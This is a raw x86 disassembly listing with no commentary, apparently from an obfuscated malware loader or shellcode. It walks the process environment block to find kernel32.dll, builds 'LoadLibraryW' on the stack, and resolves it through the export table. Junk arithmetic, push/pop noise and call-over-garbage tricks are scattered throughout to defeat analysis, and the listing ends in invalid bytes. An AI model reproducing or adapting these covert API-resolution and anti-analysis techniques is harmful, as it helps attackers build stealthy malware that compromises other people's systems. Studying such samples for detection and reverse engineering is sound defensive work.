cmp dword [ecx + 0x30], 0
jne 0x405505
mov dword [ebp - 0x2d4], 0
push edx
push edx
add esp, 4
and edx, 0xb76d
call 0x405773
add byte [esi + edi], dh
cmp al, 0x49
cmp eax, 0x4a4d4348
add esp, 4
pop edx
push edx
add edx, 0x11179
pop edx
push edi
push edi
add esp, 4
or edi, 0xa8cd
pop edi
cmp dword [ebp - 0x2d4], 0
jne 0x4060a4
mov edx, 0x6b
mov word [ebp - 0x17ac], dx
mov eax, 0x65
mov word [ebp - 0x17aa], ax
mov ecx, 0x72
mov word [ebp - 0x17a8], cx
mov edx, 0x6e
mov word [ebp - 0x17a6], dx
mov eax, 0x65
mov word [ebp - 0x17a4], ax
mov ecx, 0x6c
mov word [ebp - 0x17a2], cx
mov edx, 0x33
mov word [ebp - 0x17a0], dx
mov eax, 0x32
mov word [ebp - 0x179e], ax
mov ecx, 0x2e
mov word [ebp - 0x179c], cx
mov edx, 0x64
mov word [ebp - 0x179a], dx
mov eax, 0x6c
mov word [ebp - 0x1798], ax
mov ecx, 0x6c
mov word [ebp - 0x1796], cx
xor edx, edx
mov word [ebp - 0x1794], dx
push ebx
push ecx
add esp, 4
sub ebx, 0x117bd
or ebx, 0x1288
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0x8e09
jmp 0x405856
add ebx, 0x5322
xor ebx, 0x89bb
pop ebx
mov byte [ebp - 0x898], 0x4c
mov byte [ebp - 0x897], 0x6f
mov byte [ebp - 0x896], 0x61
mov byte [ebp - 0x895], 0x64
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x69
mov byte [ebp - 0x892], 0x62
mov byte [ebp - 0x891], 0x72
mov byte [ebp - 0x890], 0x61
mov byte [ebp - 0x88f], 0x72
mov byte [ebp - 0x88e], 0x79
mov byte [ebp - 0x88d], 0x57
mov byte [ebp - 0x88c], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1990], eax
mov ecx, dword [ebp - 0x1990]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1994], edx
mov eax, dword [ebp - 0x1994]
mov dword [ebp - 0x15ec], eax
push edi
push eax
add esp, 4
call 0x4058f9
add byte [esi + 0x33], al
cmp al, 0x3b
xor al, byte [ecx + 0x4e]
dec esi
add esp, 4
and edi, 0x5f0a
and edi, 0x12876
xor edi, 0x13004
pop edi
push edx
add edx, 0xef3b
pop edx
cmp dword [ebp - 0x15ec], 0
jne 0x40592f
mov dword [ebp - 0x754], 0
jmp 0x405beb
mov ecx, dword [ebp - 0x15ec]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca8], eax
push esi
xor esi, 0x11bf5
pop esi
push eax
push ecx
add esp, 4
xor eax, 0x1e77
pop eax
push edi
push edi
add esp, 4
xor edi, 0xe07f
xor edi, 0x11ab9
and edi, 0x9be4
xor edi, 0xdd99
pop edi
cmp dword [ebp - 0xca8], 0
jne 0x40598b
mov dword [ebp - 0x754], 0
jmp 0x405beb
mov ecx, dword [ebp - 0xca8]
mov dword [ebp - 0x50c], ecx
push ebx
add ebx, 0xf64c
xor ebx, 0x95ca
jmp 0x4059ac
pop ebx
push eax
and eax, 0xf4da
xor eax, 0xcc6a
xor eax, 0xfa6e
pop eax
push ebx
and ebx, 0x15110
pop ebx
lea edx, [ebp - 0x17ac]
mov dword [ebp - 0xca4], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xca0], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push edx
sub edx, 0xa388
pop edx
push esi
push edx
add esp, 4
or esi, 0xbf8d
xor esi, 0x156d3
call 0x405a1e
add byte [eax], bh
inc ebx
inc ebx
xor eax, dword [edi + 0x34]
inc edi
inc ecx
cmp al, 0x83
les eax, [ebx + ebp*8]
add al, 0x3a
inc ebx
cmp al, byte [edx + 0x5e]
mov ecx, dword [ebp - 0xca0]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xca0]
add eax, 2
mov dword [ebp - 0xca0], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca4]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xca4]
add ecx, 2
mov dword [ebp - 0xca4], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x110], dx
push edx
xor edx, 0x6a9f
jmp 0x405a91
or edx, 0xeb01
pop edx
push edi
or edi, 0x10986
pop edi
push edx
xor edx, 0xf5ae
sub edx, 0x4373
xor edx, 0x159fe
pop edx
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x405ad7
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15f4], ecx
jmp 0x405b3a
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x4059f6
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x4059f6
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x405b24
mov dword [ebp - 0x15f0], 0xffffffff
jmp 0x405b2e
mov dword [ebp - 0x15f0], 1
mov eax, dword [ebp - 0x15f0]
mov dword [ebp - 0x15f4], eax
cmp dword [ebp - 0x15f4], 0
jne 0x405b83
push ebx
xor ebx, 0x16c26
add ebx, 0xabec
sub ebx, 0x14337
xor ebx, 0xf186
pop ebx
push esi
push esi
add esp, 4
add esi, 0x76a7
add esi, 0x7351
and esi, 0x12089
pop esi
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x754], ecx
jmp 0x405beb
push esi
push eax
add esp, 4
add esi, 0x14ef4
jmp 0x405b95
or esi, 0x95ef
jmp 0x405ba0
pop esi
push ebx
push ebx
add esp, 4
and ebx, 0xe2d2
jmp 0x405bb4
pop ebx
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xca8]
je 0x405be1
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x405997
mov dword [ebp - 0x754], 0
push edi
xor edi, 0xfe4f
add edi, 0x1f96
add edi, 0x63bf
pop edi
push esi
push edx
add esp, 4
xor esi, 0x11a16
or esi, 0xbdeb
xor esi, 0xfcfb
add esi, 0xe7e9
pop esi
cmp dword [ebp - 0x754], 0
jne 0x405c67
push ebx
add ebx, 0xa85e
add ebx, 0xc7b3
and ebx, 0xdda9
jmp 0x405c3f
pop ebx
push ecx
and ecx, 0xbfc8
call 0x405c54
add byte [ecx + 0x3f], al
push eax
aaa
dec ecx
dec ebp
add esp, 4
pop ecx
mov dword [ebp - 0x7a0], 0
jmp 0x40678e
push edx
add edx, 0x14990
xor edx, 0x4141
sub edx, 0xf365
jmp 0x405c7f
pop edx
push ecx
jmp 0x405c8a
add ecx, 0x1479
pop ecx
push ecx
or ecx, 0x145fc
pop ecx
mov eax, dword [ebp - 0x754]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x764], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x15f8], edx
cmp dword [ebp - 0x15f8], 0
jne 0x405cd8
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], eax
jmp 0x405fc9
mov ecx, dword [ebp - 0x15f8]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15fc], edx
jne 0x405d00
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], eax
jmp 0x405fc9
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15fc]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1600], ecx
cmp dword [ebp - 0x1600], 0
jne 0x405d32
mov edx, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], edx
jmp 0x405fc9
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x1600]
mov dword [ebp - 0x758], eax
jne 0x405d57
mov ecx, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], ecx
jmp 0x405fc9
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1998], eax
mov ecx, dword [ebp - 0x758]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x199c], edx
mov eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19a0], ecx
mov dword [ebp - 0x75c], 0
jmp 0x405db1
mov edx, dword [ebp - 0x75c]
add edx, 1
mov dword [ebp - 0x75c], edx
mov eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x75c]
cmp ecx, dword [eax + 0x18]
jae 0x405fbd
mov edx, dword [ebp - 0x75c]
mov eax, dword [ebp - 0x1998]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x760], ecx
mov edx, dword [ebp - 0x75c]
mov eax, dword [ebp - 0x199c]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19a0]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19a4], eax
mov dword [ebp - 0x194], 0
jmp 0x405e21
mov ecx, dword [ebp - 0x194]
add ecx, 1
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 0x760]
add edx, dword [ebp - 0x194]
movsx eax, byte [edx]
test eax, eax
je 0x405ed3
mov ecx, dword [ebp - 0x194]
movsx edx, byte [ebp + ecx - 0x898]
test edx, edx
je 0x405ed3
push edi
add edi, 0xa7ae
add edi, 0xcbb6
sub edi, 0x2f5a
pop edi
push edi
push ebx
add esp, 4
and edi, 0x1237d
jmp 0x405e73
xor edi, 0x13564
and edi, 0x1795e
pop edi
mov eax, dword [ebp - 0x760]
add eax, dword [ebp - 0x194]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x194]
movsx eax, byte [ebp + edx - 0x898]
cmp ecx, eax
je 0x405ec5
mov ecx, dword [ebp - 0x760]
add ecx, dword [ebp - 0x194]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x194]
movsx ecx, byte [ebp + eax - 0x898]
cmp edx, ecx
jne 0x405ecc
jmp 0x405e12
jmp 0x405ed3
push ecx
and ecx, 0x114a5
sub ecx, 0x183cd
call 0x405eef
add byte [eax], bh
dec esp
inc edi
cmp eax, 0x3b41464c
cmp al, 0x83
les eax, [ecx + eax*4]
leave
and al, 0x87
add byte [eax], al
pop ecx
push edi
push eax
add esp, 4
add edi, 0x14cea
pop edi
mov edx, dword [ebp - 0x760]
add edx, dword [ebp - 0x194]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x194]
movsx edx, byte [ebp + ecx - 0x898]
cmp eax, edx
jne 0x405f32
mov dword [ebp - 0xcac], 0
jmp 0x405fa1
push edx
and edx, 0x14521
pop edx
push edx
push edi
add esp, 4
xor edx, 0xf631
add edx, 0x2d23
call 0x405f5a
add byte [ebx + 0x40], al
dec ecx
inc eax
inc eax
xor edi, dword [edx]
xor eax, dword [eax - 0x7d]
les eax, [ecx + eax*4]
cmp dword [ecx + eax], edx
add byte [edx - 0x75], bl
test dword [eax + 0x3fffff8], esp
test dword [esi + edi*8 - 1], ebp
dec dword [edi]
mov esi, 0x20c98308
mov edx, dword [ebp - 0x194]
movsx eax, byte [ebp + edx - 0x898]
or eax, 0x20
cmp ecx, eax
jge 0x405f97
mov dword [ebp - 0xcac], 0xffffffff
jmp 0x405fa1
mov dword [ebp - 0xcac], 1
cmp dword [ebp - 0xcac], 0
jne 0x405fb8
mov ecx, dword [ebp - 0x19a4]
mov dword [ebp - 0x3f8], ecx
jmp 0x405fc9
jmp 0x405da2
mov edx, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], edx
cmp dword [ebp - 0x3f8], 0
je 0x4060a4
push eax
add eax, 0x6bbf
sub eax, 0x16675
pop eax
push edx
xor edx, 0x6ab0
jmp 0x405ff4
call 0x406004
add byte [esi + edi], dh
dec edi
xor al, 0x42
dec eax
aaa
cmp eax, dword [esi + 0x4f]
add esp, 4
pop edx
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x19a8], eax
push esi
and esi, 0x1165e
sub esi, 0x92a2
sub esi, 0xcab9
pop esi
push edx
push ebx
add esp, 4
or edx, 0xb210
and edx, 0xd192
sub edx, 0x1537f
xor edx, 0xac88
pop edx
mov ecx, dword [ebp - 0x19a8]
mov dword [ebp - 0x19ac], ecx
lea edx, [ebp - 0x1740]
push edx
call dword [ebp - 0x19ac]
test eax, eax
jne 0x4060a4
push eax
add eax, 0x10e2a
xor eax, 0x1402f
xor eax, 0x3339
pop eax
push esi
push esi
add esp, 4
add esi, 0x94af
and esi, 0x27c9
add esi, 0x272e
xor esi, 0x2ffd
pop esi
mov dword [ebp - 0x7a0], 0
jmp 0x40678e
push edx
push ebx
add esp, 4
and edx, 0x1127d
pop edx
push eax
xor eax, 0xe047
xor eax, 0x1433d
call 0x4060cc
add byte [edi], bh
inc eax
inc esi
xor al, 0x45
cmp eax, dword [esi + 0x3a]
dec eax
add esp, 4
add eax, 0x14603
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19b0], eax
mov ecx, dword [ebp - 0x19b0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19b4], edx
mov eax, dword [ebp - 0x19b4]
mov dword [ebp - 0x1604], eax
push ebx
push ebx
add esp, 4
jmp 0x40610a
add ebx, 0x10d2e
pop ebx
push ecx
push esi
add esp, 4
and ecx, 0x172c6
add ecx, 0xe040
and ecx, 0x11be6
add ecx, 0x9fe
pop ecx
cmp dword [ebp - 0x1604], 0
jne 0x406147
mov dword [ebp - 0x2d4], 0
jmp 0x4063ee
mov ecx, dword [ebp - 0x1604]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb8], eax
push eax
xor eax, 0xb09f
add eax, 0x1808a
add eax, 0x1b7b
pop eax
push ecx
push eax
add esp, 4
xor ecx, 0x802c
pop ecx
push ecx
push ecx
add esp, 4
add ecx, 0x2524
add ecx, 0xf9cc
pop ecx
cmp dword [ebp - 0xcb8], 0
jne 0x4061a3
mov dword [ebp - 0x2d4], 0
jmp 0x4063ee
mov ecx, dword [ebp - 0xcb8]
mov dword [ebp - 0x510], ecx
push ecx
xor ecx, 0x555f
pop ecx
push esi
and esi, 0x1613e
pop esi
push esi
xor esi, 0x168f4
pop esi
push edi
or edi, 0x121cd
sub edi, 0x11491
pop edi
push esi
push ecx
add esp, 4
add esi, 0x7f44
pop esi
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcb4], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcb0], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
jmp 0x406212
xor ebx, 0xdd34
add ebx, 0x826b
sub ebx, 0x107e9
pop ebx
push ebx
push ebx
add esp, 4
add ebx, 0x109c
or ebx, 0xe41e
sub ebx, 0x18341
pop ebx
mov ecx, dword [ebp - 0xcb0]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcb0]
add eax, 2
mov dword [ebp - 0xcb0], eax
invalid
invalid
invalid
invalid